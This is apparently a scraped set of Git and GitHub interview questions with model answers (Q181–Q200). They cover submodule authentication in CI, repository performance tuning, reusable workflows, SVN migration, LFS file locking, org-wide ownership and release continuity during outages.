Interview tip โ Acknowledge that submodules are a common source of onboarding pain.
Q181 CI cannot clone a private submodule: authentication fails in actions/checkout.
Intermediate
actions/checkout.Situation read โ GITHUB_TOKEN is scoped to the current repository only.
What I'd do โ
- Use a deploy key, GitHub App token or fine-grained PAT with read access to the submodule repo.
- In the workflow:
- uses: actions/checkout@v4
with:
submodules: recursive
token: ${{ secrets.SUBMODULE_READ_TOKEN }}- If
.gitmodulesuses SSH URLs, passssh-keyinstead. - Keep the token read-only and rotate it.
Why โ The default token cannot see other private repositories.
Interview tip โ Using HTTPS URLs in .gitmodules makes CI auth simpler.
Q182 You must remove a submodule completely.
Beginner
Situation read โ A submodule leaves traces in three places: index, .gitmodules and .git/modules.
What I'd do โ
git submodule deinit -f libs/shared.git rm -f libs/shared(also edits.gitmodules).rm -rf .git/modules/libs/shared.- Commit the change.
Why โ Skipping the last step leaves stale metadata that breaks re-adding it later.
Interview tip โ Know that deleting only the directory is a classic mistake.
Q183 A merge shows a conflict on a submodule path, not on files. What is it?
Intermediate
Situation read โ Both branches moved the submodule pointer to different commits.
What I'd do โ
git diffshowsSubproject commitlines for each side.- Pick the correct commit, often the newer one, if one contains the other:
cd libs/shared && git log --oneline --graph A B. git add libs/sharedafter checking out the chosen commit, then continue the merge.- Test the parent project with that pointer.
Why โ The parent only records a SHA, so the conflict is a choice between two SHAs.
Interview tip โ If neither contains the other, merge inside the submodule first.
Q184 A huge repo makes git status and git log slow. What do you tune?
Advanced
git status and git log slow. What do you tune?Situation read โ Large trees and many packfiles slow down core commands.
What I'd do โ
- Enable background maintenance:
git maintenance start. - Write the commit graph:
git commit-graph write --reachable --changed-paths. - Turn on
core.fsmonitor=trueandcore.untrackedCache=true; considerfeature.manyFiles=true. - Repack and tune:
git repack -adf --depth=50 --window=250; check withgit count-objects -vH. - Diagnose hot spots with
GIT_TRACE2_PERF=1 git status.
Why โ Commit-graph and fsmonitor avoid walking everything each time.
Interview tip โ Measure first with GIT_TRACE2_PERF, then tune.
Q185 You want issues and PRs labelled automatically and stale ones closed.
Beginner
Situation read โ Housekeeping should not rely on people remembering.
What I'd do โ
- Use
actions/labelerwith a.github/labeler.ymlmapping paths to labels. - Use
actions/staleon a schedule to warn and close inactive items. - Use issue forms and PR templates to collect the right data.
- Add the workflows with minimal
permissions(issues: write,pull-requests: write).
Why โ Automation keeps the backlog usable with no human effort.
Interview tip โ Exempt labels such as security and pinned from stale closing.
Q186 Fifty repositories copy-paste the same CI workflow. How do you maintain it centrally?
Intermediate
Situation read โ Copies drift, and fixes need fifty PRs.
What I'd do โ
- Write a reusable workflow with
on: workflow_callin a central repo. - Call it:
jobs:
ci:
uses: acme/.github/.github/workflows/node-ci.yml@v2
with:
node-version: 22
secrets: inherit- Version it with tags and pin callers to
@v2. - Use organisation workflow templates for new repos.
Why โ One place to patch, versioned like a library.
Interview tip โ Know when a composite action fits better: it bundles steps, not whole jobs.
Q187 You need to apply a change (a new CODEOWNERS file) to 80 repositories.
Intermediate
CODEOWNERS file) to 80 repositories.Situation read โ Do it with a script, and still go through PRs.
What I'd do โ
- List repos:
gh repo list ORG --limit 200 --json name -q '.[].name'. - Per repo: clone shallowly, branch, add the file, push, and
gh pr create --fill. - Review failures and track merges with
gh search prs --owner ORG --label bulk-change. - For ongoing needs use org-level rulesets or required workflows instead of per-repo files.
Why โ PRs keep the audit trail and let owners object.
Interview tip โ Tools like Renovate, Sourcegraph batch changes, or gh scripts all fit.
Q188 New repositories should start with standard files, protections and CI.
Beginner
Situation read โ Consistent starting points reduce setup mistakes.
What I'd do โ
- Create a template repository with README, LICENSE, CI,
CODEOWNERS,.gitignore. - Add an organisation
.githubrepo for default issue and PR templates,SECURITY.mdandCODE_OF_CONDUCT.md. - Apply org-level rulesets so every repo gets baseline protection.
- Optionally automate repo creation with Terraform.
Why โ Defaults inherited at creation are far more reliable than a checklist.
Interview tip โ Template repositories are not forks; they start with clean history.
Q189 Your workflows reference many actions, and nobody updates them.
Beginner
Situation read โ Outdated actions miss security fixes and Node runtime updates.
What I'd do โ
- Add Dependabot for Actions:
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly- Review the PRs; CI shows whether anything broke.
- Combine with SHA pinning so Dependabot updates the hash.
Why โ Small, regular bumps are safer than one huge upgrade after two years.
Interview tip โ It works for Docker, npm, pip and Terraform too.
Q190 A team is moving from SVN to Git with ten years of history.
Advanced
Situation read โ You need history conversion, author mapping, and a workflow change.
What I'd do โ
- Build an authors file mapping SVN usernames to name and email.
- Convert:
git svn clone --stdlayout --authors-file=authors.txt URL repo. - Convert SVN branches and tags to Git refs, check history, and clean up large files (consider LFS).
- Freeze SVN, run a final sync, switch CI, and train the team on Git.
Why โ A good author map and a clean cut-over avoid broken blame and lost traceability.
Interview tip โ Rehearse the migration on a copy first; measure time and size.
Q191 In a monorepo, CI runs only for changed paths, but required checks then never appear for some PRs.
Advanced
Situation read โ Path-filtered workflows do not run when files outside the filter change, so required checks stay pending.
What I'd do โ
- Remove
paths:filters from the workflow trigger and detect changes inside the job (for exampledorny/paths-filter). - Skip heavy jobs with
if:conditions; skipped jobs count as passed. - Add a single always-running gate job and make only that required.
- Use a merge queue with the same checks.
Why โ A job-level skip reports a status, but a workflow that never triggered reports none.
Interview tip โ This exact problem appears in nearly every monorepo migration.
Q192 You want a disaster-recovery copy of all your GitHub repositories.
Intermediate
Situation read โ Git data is easy to back up; GitHub metadata is not.
What I'd do โ
- Scheduled mirror:
git clone --mirrorthen regulargit remote update --prune, stored in object storage. - Export metadata (issues, PRs, wikis) via the API or the migrations API.
- Back up Actions secrets configuration as code (Terraform), not values.
- Test a restore regularly.
Why โ A backup that has never been restored is a hope, not a backup.
Interview tip โ Every developer clone is also a partial backup of code, but not of issues or PRs.
Q193 A project is finished. How do you retire its repository properly?
Beginner
Situation read โ Keep history, stop changes, and tell users.
What I'd do โ
- Update the README with a deprecation note and a pointer to the replacement.
- Close or triage open issues and PRs.
- Remove secrets, webhooks and deploy keys.
- Archive the repo (Settings โ Archive); it becomes read-only. Transfer ownership first if needed.
Why โ Archived repos keep their history and links but cannot receive changes.
Interview tip โ Unarchive is possible, so archiving is reversible.
Q194 A repository has one million files and git status takes 30 seconds.
Advanced
git status takes 30 seconds.Situation read โ Git scans the tree for changes. You need to avoid full scans.
What I'd do โ
git config core.fsmonitor trueandcore.untrackedCache true(built-in FSMonitor on macOS and Windows; Watchman on Linux).git update-index --index-version 4, orfeature.manyFiles=true, which also enables these.- Use sparse-checkout in cone mode and sparse index:
git sparse-checkout init --cone --sparse-index. - Time with
GIT_TRACE2_PERF=1 git status.
Why โ FSMonitor reports changed paths so Git does not scan everything.
Interview tip โ Microsoft built these features for the Windows repo, which is the usual example.
Q195 Every PR should get its own preview environment, cleaned up automatically.
Intermediate
Situation read โ Environments must be created on open and destroyed on close.
What I'd do โ
- Trigger on
pull_requestwith typesopened,synchronize,reopenedandclosed. - Name resources with the PR number (
app-pr-482) and deploy to a namespace or stack. - On
closed, run a teardown job; also run a nightly sweeper for leftovers. - Post the preview URL as a PR comment and use a GitHub deployment for status.
Why โ Reviewers test real behaviour, and cost stays bounded by cleanup.
Interview tip โ Never give fork PRs access to deployment secrets.
Q196 Developers push several times quickly, and Actions queues redundant runs.
Intermediate
Situation read โ Only the latest commit of a branch needs CI.
What I'd do โ
- Add concurrency to the workflow:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true- Do not cancel on
mainor deploy jobs; usecancel-in-progress: ${{ github.ref != 'refs/heads/main' }}. - Check runner usage afterwards.
Why โ Cancelling stale runs saves minutes and cost.
Interview tip โ Never cancel deploys mid-flight.
Q197 A game studio edits Unity scenes and PSD files, and merges of binary files keep destroying work.
Advanced
Situation read โ Binary files cannot be merged, so concurrent edits mean one person's work is lost.
What I'd do โ
- Track binaries with LFS and mark them lockable:
git lfs track "*.psd" --lockable. - Artists lock before editing:
git lfs lock art/hero.psd, and unlock when pushed. - Lockable files are read-only locally until locked, preventing accidents.
- Set Unity to text-based YAML serialisation and use its smart merge tool for scenes.
Why โ Locks turn a merge problem into a coordination problem, which is solvable.
Interview tip โ git lfs locks shows who holds what.
Q198 New hires lose days to environment setup. How can Git hosting help?
Beginner
Situation read โ The environment should be code in the repo.
What I'd do โ
- Add a
.devcontainer/devcontainer.jsonwith the toolchain and extensions. - Let new hires open a Codespace, or use the same file locally in VS Code.
- Keep a
make setupthat installs hooks and dependencies. - Prebuild Codespaces to cut startup time.
Why โ One definition gives everyone the same environment, so setup bugs vanish.
Interview tip โ Devcontainers work outside Codespaces, so no lock-in.
Q199 With 600 repos and 40 teams, nobody knows who owns what. How do you fix ownership at scale?
Advanced
Situation read โ Ownership data scattered across READMEs goes stale.
What I'd do โ
- Define repository custom properties (
owner-team,tier,lifecycle) at org level and require them. - Use org rulesets targeting repos by property, for example stricter rules for
tier=1. - Sync GitHub teams from the identity provider (SSO and SCIM).
- Use CODEOWNERS with teams, and run a quarterly report for repos lacking owners.
Why โ Machine-readable ownership lets policy and alerts apply automatically.
Interview tip โ Connect it to incident response: ownership answers "who gets paged".
Q200 GitHub has an outage during a critical release. How do you keep shipping?
Advanced
Situation read โ A dependency on one SaaS is a single point of failure for deployments.
What I'd do โ
- Check the GitHub status page first, and tell the team to avoid retry storms.
- If a mirror exists (a GitLab, Gitea or bare repo kept in sync), build from it; otherwise any developer clone has the commit and can push to the internal mirror.
- Build artifacts from a known SHA and deploy through the CD tool, not through GitHub UI.
- After the outage, reconcile: push mirror commits back and review any manual steps.
Why โ Git is distributed; the outage only blocks collaboration features, and artifacts you already built are unaffected.
Interview tip โ Describe the mirror and break-glass deploy path as something you rehearse in advance.